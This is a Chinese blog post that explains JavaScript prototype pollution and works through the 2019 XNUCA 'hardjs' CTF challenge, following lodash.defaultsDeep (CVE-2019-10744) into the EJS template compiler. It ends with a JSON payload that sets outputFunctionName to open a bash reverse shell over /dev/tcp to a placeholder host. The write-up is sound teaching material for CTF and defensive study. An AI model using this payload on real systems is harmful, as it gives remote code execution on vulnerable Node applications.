js原型链污染

https://cyto.top/2019/04/16/translation-js-prototype-pollution-attack-nsec2018/
https://www.cnblogs.com/wfzWebSecuity/p/11360881.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x04
https://xz.aliyun.com/t/6101

https://xz.aliyun.com/t/6113
这篇利用讲的很详细(唯一一篇看懂了的。。)

原型链介绍

这里简单介绍一下原型链污染(prototype pollution)

Javascript里每个类都有一个prototype的属性,用来绑定所有对象都会有变量与函数,对象的构造函数又指向类本身,同时对象的__proto__属性也指向类的prototype。因此,有以下关系:

并且,类的继承是通过原型链传递的,一个类的prototype属性指向其继承的类的一个对象。所以一个类的prototype.__proto__等于其父类的prototype,当然也等于该类对象的__proto__.__proto__属性。

我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为null为止。所以修改对象的某个父类的prototype的原型就可以通过原型链影响到跟此类有关的所有对象。

当然,如果某个对象本身就拥有该成员,就不会往上找,所以利用这个漏洞的时候,我们需要做到的是找到某个成员被判断是否存在并使用的代码。

那么什么时候会触发原型链污染?
根据P牛的博客可知,其实找找能够控制数组(对象)的“键名”的操作即可

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

2019Xnuca hardjs分析

发现问题

serve.js/get中发现了merge操作,如下

app.get("/get",auth,async function(req,res,next){

    var userid = req.session.userid ; 
    var sql = "select count(*) count from `html` where userid= ?"
    // var sql = "select `dom` from  `html` where userid=? ";
    var dataList = await query(sql,[userid]);

    if(dataList[0].count == 0 ){
        res.json({})

    }else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
        
        console.log("Merge the recorder in the database."); 

        var sql = "select `id`,`dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var doms = {}
        var ret = new Array(); 

        for(var i=0;i<raws.length ;i++){
            lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

            var sql = "delete from `html` where id = ?";
            var result = await query(sql,raws[i].id);
        }
        var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
        var result = await query(sql,[userid, JSON.stringify(doms) ]);

        if(result.affectedRows > 0){
            ret.push(doms);
            res.json(ret);
        }else{
            res.json([{}]);
        }

    }else {

        console.log("Return recorder is less than 5,so return it without merge.");
        var sql = "select `dom` from  `html` where userid=? ";
        var raws = await query(sql,[userid]);
        var ret = new Array();

        for( var i =0 ;i< raws.length ; i++){
            ret.push(JSON.parse( raws[i].dom ));
        }

        console.log(ret);
        res.json(ret);
    }

});

/get中我们可以发现,查询出来的结果,如果超过5条,那么会被合并成一条。具体的过程是,先通过sql查询出来当前用户所有的数据,然后一条条合并到一起,关键代码如下:

var sql = "select `id`,`dom` from  `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array(); 

for(var i=0;i<raws.length ;i++){
    lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

    var sql = "delete from `html` where id = ?";
    var result = await query(sql,raws[i].id);
}

其中的lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));恰好是前段时间公布的CVE-2019-10744的攻击对象,再看一下版本刚好是4.17.11,并没有修复这个漏洞。所以我们可以利用这个漏洞进行原型链污染。

构造利用链

观察server.js加载了哪些库文件,如下所示

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const mysql = require('mysql')
const mysqlConfig = require("./config/mysql")
const ejs = require('ejs')

可以是个发现使用了nodejs+express+mysql模块搭建的页面。

那么什么是express

Express 是一个简洁而灵活的 node.js Web应用框架
提供了一系列强大特性帮助你创建各种 Web 应用,和丰富的 HTTP 工具。
使用 Express 可以快速地搭建一个完整功能的网站。
Express 框架核心特性:
1.可以设置中间件来响应 HTTP 请求。
2.定义了路由表用于执行不同的 HTTP 请求动作。
3.可以通过向模板传递参数来动态渲染 HTML 页面。   ----引用互联网

可以知道HTML页面是用Express框架来渲染的,而页面的返回结果是用res.render()来渲染(resresponse缩写)。所以尝试从这里下手,跟进模板渲染寻找可以原型链污染的点。

打开node_modules/express/lib/response.js,找render函数

res.render = function render(view, options, callback) {
  var app = this.req.app;
  var done = callback;
  var opts = options || {};
  var req = this.req;
  var self = this;

  // support callback function as second arg
  if (typeof options === 'function') {
    done = options;
    opts = {};
  }

  // merge res.locals
  opts._locals = self.locals;

  // default callback to respond
  done = done || function (err, str) {
    if (err) return req.next(err);
    self.send(str);
  };

  // render
  app.render(view, opts, done);
};

注意到参数又进到了app.render(appapplication的缩写),跟进application.js,找app.render()

app.render = function render(name, options, callback) {
  var cache = this.cache;
  var done = callback;
  var engines = this.engines;
  var opts = options;
  var renderOptions = {};
  var view;
  //无关代码已省略
  // render
  tryRender(view, renderOptions, done);
};

继续跟进tryRender()

function tryRender(view, options, callback) {
  try {
    view.render(options, callback);
  } catch (err) {
    callback(err);
  }
}

继续跟进view.js,找render()

/**
 * Render with the given options.
 *
 * @param {object} options
 * @param {function} callback
 * @private
 */

View.prototype.render = function render(options, callback) {
  debug('render "%s"', this.path);
  this.engine(this.path, options, callback);
};

发现express中渲染页面调用的循序为res.render()-->app.render()-->view.render(),然后调用engine(),来到页面渲染引擎ejs.js中。

https://www.cnblogs.com/QH-Jimmy/p/8855524.html

其中渲染引擎ejs是个啥?

https://blog.csdn.net/maindek/article/details/82669720
https://blog.csdn.net/qq_26443535/article/details/80366264

通过ejs源码简单分析,可以知道其中渲染引擎的渲染函数为exports.renderFile(),如下:

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  //...
  //去掉无关代码
  return tryHandleCache(opts, data, cb);
};

跟进tryHandleCache()

function tryHandleCache(options, data, cb) {
  var result;
  if (!cb) {
    if (typeof exports.promiseImpl == 'function') {
      return new exports.promiseImpl(function (resolve, reject) {
        try {
          result = handleCache(options)(data);
          resolve(result);
        }
        catch (err) {
          reject(err);
        }
      });
    }
    else {
      throw new Error('Please provide a callback function');
    }
  }
  else {
    try {
      result = handleCache(options)(data);
    }
    catch (err) {
      return cb(err);
    }

    cb(null, result);
  }
}

发现有个handleCache(),将参数传进去之后返回一个result,怀疑result就是渲染后的页面。跟进handleCache(),如下:

/**
 * Get the template from a string or a file, either compiled on-the-fly or
 * read from cache (if enabled), and cache the template if needed.
 *
 * If `template` is not set, the file specified in `options.filename` will be
 * read.
 *
 * If `options.cache` is true, this function reads the file from
 * `options.filename` so it must be set prior to calling this function.
 *
 * @memberof module:ejs-internal
 * @param {Options} options   compilation options
 * @param {String} [template] template source
 * @return {(TemplateFunction|ClientFunction)}
 * Depending on the value of `options.client`, either type might be returned.
 * @static
 */

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;
  //...
  func = exports.compile(template, options);
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}

阅读注释可知,当options.cachefalse的时候,func变量则由exports.compile()生成,所以中间代码无关。跟进生成funcexports.compile(),如下:

exports.compile = function compile(template, opts) {
  var templ;

  // v1 compat
  // 'scope' is 'context'
  // FIXME: Remove this in a future version
  if (opts && opts.scope) {
    if (!scopeOptionWarned){
      console.warn('`scope` option is deprecated and will be removed in EJS 3');
      scopeOptionWarned = true;
    }
    if (!opts.context) {
      opts.context = opts.scope;
    }
    delete opts.scope;
  }
  templ = new Template(template, opts);
  return templ.compile();
};

跟进Template类的compile()查看,如下:

compile: function () {
    var src;
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    var escapeFn = opts.escapeFunction;
    var ctor;

    if (!this.source) {
      this.generateSource();
      prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output.join("");' + '\n';
      this.source = prepended + this.source + appended;
    }

    ...
      src = this.source;
    ...
    try {
      if (opts.async) {
        // Have to use generated function for this, since in envs without support,
        // it breaks in parsing
        try {
          ctor = (new Function('return (async function(){}).constructor;'))();
        }
        catch(e) {
          if (e instanceof SyntaxError) {
            throw new Error('This environment does not support async/await');
          }
          else {
            throw e;
          }
        }
      }
      else {
        ctor = Function;
      }
      fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);
    }

    ...

    // Return a callable function which will execute the function
    // created by the source-code, with the passed data as locals
    // Adds a local `include` function which allows full recursive include
    var returnedFn = function (data) {
      var include = function (path, includeData) {
        var d = utils.shallowCopy({}, data);
        if (includeData) {
          d = utils.shallowCopy(d, includeData);
        }
        return includeFile(path, opts)(d);
      };
      return fn.apply(opts.context, [data || {}, escapeFn, include, rethrow]);
    };
    returnedFn.dependencies = this.dependencies;
    return returnedFn;
  },

代码偏长,我们需要的是以下代码:

if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
}

它将opts的一部分拼接到source中,然后赋值给src,然后是fn,然后以returnedFn的形式返回。

这时候我们把上述逻辑倒过来理一遍:

  • Template类的compile()exports.compile()返回了returnedFn,即恶意代码。
returnedFn.dependencies = this.dependencies;
return returnedFn;
  • exports.compile()ejs.js/handleCache()返回接收到的数据
templ = new Template(template, opts);
return templ.compile();
  • ejs.js/handleCache()将收到的数据复制给func,然后返回ejs.js/tryHandleCache()
func = exports.compile(template, options);
if (options.cache) {
   exports.cache.set(filename, func);
}
return func;
  • ejs.js/tryHandleCache()将收到的数据复制给了result,然后返回执行
result = handleCache(options)(data);

而一路跟进的时候可以发现,并没有outputFunctionName的身影,所以只要给Objectprototype加上这个成员,且使其为我们的payload。这样在最后一个函数里拼接returnedFn的时候,就能添加上我们的恶意代码,我们就可以实现从原型链污染到RCE的攻击过程了。

漏洞利用

根据CVE-2019-10744的信息,我们知道我们只需要有消息为
{"type":"test","content":{"prototype":{"constructor":{"a":"b"}}}}
在合并时便会在Object上附加a=b这样一个属性,任意不存在a属性的原型为Object的对象在访问其a属性时均会获取到b属性。
payload如下:

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/xx 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

访问五次即可

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,928评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,192评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,468评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,186评论 1 286
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,295评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,374评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,403评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,186评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,610评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,906评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,075评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,755评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,393评论 3 320
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,079评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,313评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,934评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,963评论 2 351

推荐阅读更多精彩内容

  • VSCode导入#include 文件时提示以下错误: 这是由于配置中没有指定依赖路径导致的,在c_cpp_pr...
    volkin阅读 18,967评论 2 3
  • 《绿斋闲咏》 作者\夜雨一江 绿斋风雨涉尘缘, 犹有闲愁易水寒。 学弄丹青痴翰墨, 一片诗心付江南。 一一2018...
    夜雨一江_20fc阅读 261评论 0 4
  • 梨花 一夜春风如雪来,骄阳晴雨沐情怀。 仙女银装轻盈舞,玉树琼枝红蕊开。 绿片片,白皑皑。 身临凡尘心清雅,品性空...
    一弯月亮阅读 174评论 0 1
  • 一片肃静中,雪花埋葬了整个世界,无声中透出一股杀机,却又理所当然,如人到暮年,暮死之气从骨里透发出来。 ...
    熊猫大战竹子阅读 142评论 0 0
  • 2019/04/23作业 请说说“花”的用途,至少50种。 没想到确实能到50种。
    曼_草阅读 150评论 0 0